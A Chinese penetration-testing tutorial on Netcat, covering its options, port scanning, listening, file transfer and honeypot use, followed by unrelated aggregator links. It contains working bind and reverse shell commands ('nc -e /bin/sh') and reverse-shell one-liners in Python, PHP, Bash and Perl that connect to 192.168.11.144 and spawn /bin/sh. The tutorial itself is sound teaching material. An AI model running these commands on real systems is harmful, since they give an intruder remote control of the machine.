“瑞士军刀”Netcat使用方法总结
前言
最近在做渗透测试的时候遇到了端口监听和shell的反弹问题,在这个过程中自己对Netcat这一款神器有了新的认识,现将一些Netcat的用法做一个小总结,希望对各位有帮助!
Netcat简介
Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。总之功能强大,可以用一句较为风趣的话来描述NC的强大——“你的想象力是局限NC的瓶颈”。
Netcat选项参数说明


功能说明:端口扫描、端口监听、远程文件传输、远程shell等等;
语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
参 数:
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入/输出模式,只在扫描通信端口时使用。
Netcat简易使用
连接到远程主机
命令:nc -nvv Targert_IP Targert_Port


监听本地主机
命令:nc -l -p Local_Port


端口扫描
扫描指定主机的单一端口是否开放
格式:nc -v target_IP target_Port


扫描指定主机的某个端口段的端口开放信息
格式:nc -v -z Target_IP Target_Port_Start - Target_Port_End


扫描指定主机的某个UDP端口段,并且返回端口信息
格式:nc -v -z -u Target_IP Target_Port_Start - Target_Port_End


扫描指定主机的端口段信息,并且设置超时时间为3秒
格式:nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End


端口监听
监听本地端口
格式:nc -l -p local_Port






注:先设置监听(不能出现端口冲突),之后如果有外来访问则输出该详细信息到命令行
监听本地端口,并且将监听到的信息保存到指定的文件中
格式:nc -l -p local_Port > target_File






连接远程系统
格式:nc Target_IP Target_Port


之后可以运行HTTP请求


FTP匿名探测
格式:nc Targert_IP 21


文件传输
传输端:
格式:nc Targert_IP Targert_Port < Targert_File




接收端:
格式:nc -l Local_Port > Targert_File




简易聊天
本地主机
命令:nc -l 8888


远程主机
命令:nc Targert_IP Targert_Port


蜜罐
作为蜜罐使用1:
命令:nc -L -p Port
注:使用“-L”参数可以不停的监听某一个端口,知道Ctrl+C为止
作为蜜罐使用2:
命令:nc -L -p Port >log.txt
注:使用“-L”参数可以不停的监听某一个端口,知道Ctrl+C为止,同时把结果输出到log.txt文件中,如果把“>”改为“>>”即追加到文件之后。
这一个命令参数“-L”在Windows中有,现在的Linux中是没有这个选项的,但是自己可以去找找,这里只是想到了之前的这个使用,所以提出来简单介绍一下!
获取shell
简述:获取shell分为两种,一种是正向shell,一种是方向shell。如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell
正向shell
本地主机:
命令:nc Targert_IP Targert_Port


目标主机:
命令:nc -lvp Targert_Port -e /bin/sh


反向shell
本地主机:
命令: nc -lvp Target_Port


目标主机:
命令: nc Targert_IP Targert_Port -e /bin/sh


特殊情况——目标主机上没有Netcat,如何获取反向shell
在一般情况下,目标主机上一般都是不会有Netcat的,此时就需要使用其他替代的方法来实现反向链接达到攻击主机的目的,下面简单的介绍几种反向shell的设置。
python反向shell
目标主机端执行语句:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
本地主机


目标主机


PHP反向shell
目标主机端执行语句:
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
本地主机:


目标主机:


Bash反向shell
目标主机端执行语句:
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1
本地主机:


目标主机:


Perl反向shell
目标主机端执行语句:
perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
本地主机


目标主机


注:书写的时候一定要注意这里单引号、双引号是英文格式的,不然会报错误!
总结:有一句话为“温故而知新”,同时又有一句话为“实践出真知”,当这两句话同时践行的时候,就会擦出不一样的火花,你会看到你之前未见到的,掌握到你之前生疏的技能!Netcat固然好用,但是也要经过实践才知道,那你还在等什么呢?
*本文作者:Fly鹏程万里,转载请注明来自 FreeBuf.COM
“瑞士军刀”Netcat使用方法总结的更多相关文章
- Netcat使用方法
netcat被誉为网络安全界的‘瑞士军刀',相信没有什么人不认识它吧...... 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据.它被设计成一个稳定的后门工具,能够直接由其它 ...
- 计算机病毒实践汇总四:netcat使用方法
在尝试学习分析的过程中,判断结论不一定准确,只是一些我自己的思考和探索.敬请批评指正! 1. netcat概述 (1)特性 "TCP/IP协议栈瑞士军刀",可以被用在支持端口扫描. ...
- 网络工具的瑞士军刀netcat
这是一个聒噪的夜晚,假设要给出个原因.可能是由于尽管我认为西班牙不纯粹,可是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后.我认为该玩一下素有网络瑞士军刀之称谓的netcat了. 尽管瑞士军 ...
- Linux 网络工具中的瑞士军刀 - socat & netcat
独立博客阅读:https://ryan4yin.space/posts/socat-netcat/ 文中的命令均在 macOS Big Sur 和 Opensuse Tumbleweed 上测试通过 ...
- nc(NetCat)命令
瑞士军刀netcat官网:http://netcat.sourceforge.net/ 安装:yum install -y nc查询:rpm -q nc 语法:nc [-hlnruz][-g<网 ...
- windows的iis做后门,隐藏访问,无日志<转>
windows下的iis5/iis6做后门,隐藏访问,不留访问记录或者不留日志 好不容易攻下一台Windows2000/2003 IIS服务器,你一定会想,怎样才能长期占有这个“肉鸡”呢?聪明的你肯定 ...
- 《Metasploit渗透测试魔鬼训练营》第一章读书笔记
第1章 魔鬼训练营--初识Metasploit 20135301 1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防 ...
- windows的iis做后门,隐藏访问,无日志
windows下的iis5/iis6做后门,隐藏访问,不留访问记录或者不留日志 好不容易攻下一台Windows2000/2003 IIS服务器,你一定会想,怎样才能长期占有这个“肉鸡”呢?聪明的你肯定 ...
- 测试udp服务的端口是否可用
测试tcp服务的端口是否可用,可以使用: telnet ip port 但是如果这个用在upd服务上,就会报错, 因为telnet走的是tcp协议, 比如说192.168.80.131在8888端 ...
随机推荐
- macOs下全局安装npm包的设置问题
在命令行中创建一个文件.npm-global,把这个文件作为全局安装的文件夹 mkdir ~/.npm-global 设置路劲 npm config set prefix '~/.npm-global ...
- error C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead.【转载】
文章出处https://blog.csdn.net/qq_38721302/article/details/82850292 今天编写C++程序在使用头文件#include<cstring> ...
- elasticsearch的基本用法(转载)
本文出自:http://blog.csdn.net/feelig/article/details/8499614 最大的特点: 1. 数据库的 database, 就是 index 2. 数据库 ...
- adb shell 查看内存信息
1.根据包名来查看指定的APP指定数据adb shell "top | grep com.xxx.xxx" 由于这样打印出来的数据没有参数名,可以参考这个命令来看:adb shel ...
- 最短路(sp
#include<stdio.h> #include<iostream> #include<queue> using namespace std; #define ...
- 错误Exception in thread "main" java.lang.NoClassDefFoundError: org/apache/hadoop/fs/FSDataInputStream排查思路
spark1(默认CDH自带版本)不存在这个问题,主要是升级了spark2(CDHparcel升级)版本安装后需要依赖到spark1的旧配置去读取hadoop集群的依赖包. 1./etc/spark2 ...
- MySQL 08章_数据库设计
一. 关系模型与对象模型之间的对应关系 序号 关系模型:数据库 对象模型:java程序 1 数据表table 实体entity:特殊的java类 2 字段field 属性attribute/字段fie ...
- 纯css写带小三角对话框
在实际样式中经常会遇到要写类似对话框的样式,而这种样式往往会有一个小三角,如下所示: 那么如何用css写出来呢,其实很简单,先让父元素相对定位,然后运用css的伪类before或after.就可以写个 ...
- 7_API调用
0 查看 kifastcallentry 里面具体怎么调用 首先是 切换了 fs 为kpcr的选择子 然后 构造了 一个trap frame(保存3环-->0环 切换的上下文:如果0环不使用就没 ...
- Python学习笔记(六)——类和对象
1.self的用法 全面理解self 2. 继承 子类继承父类,自动拥有父类的全部方法 >>> class Animal: def run(self): print('Animal ...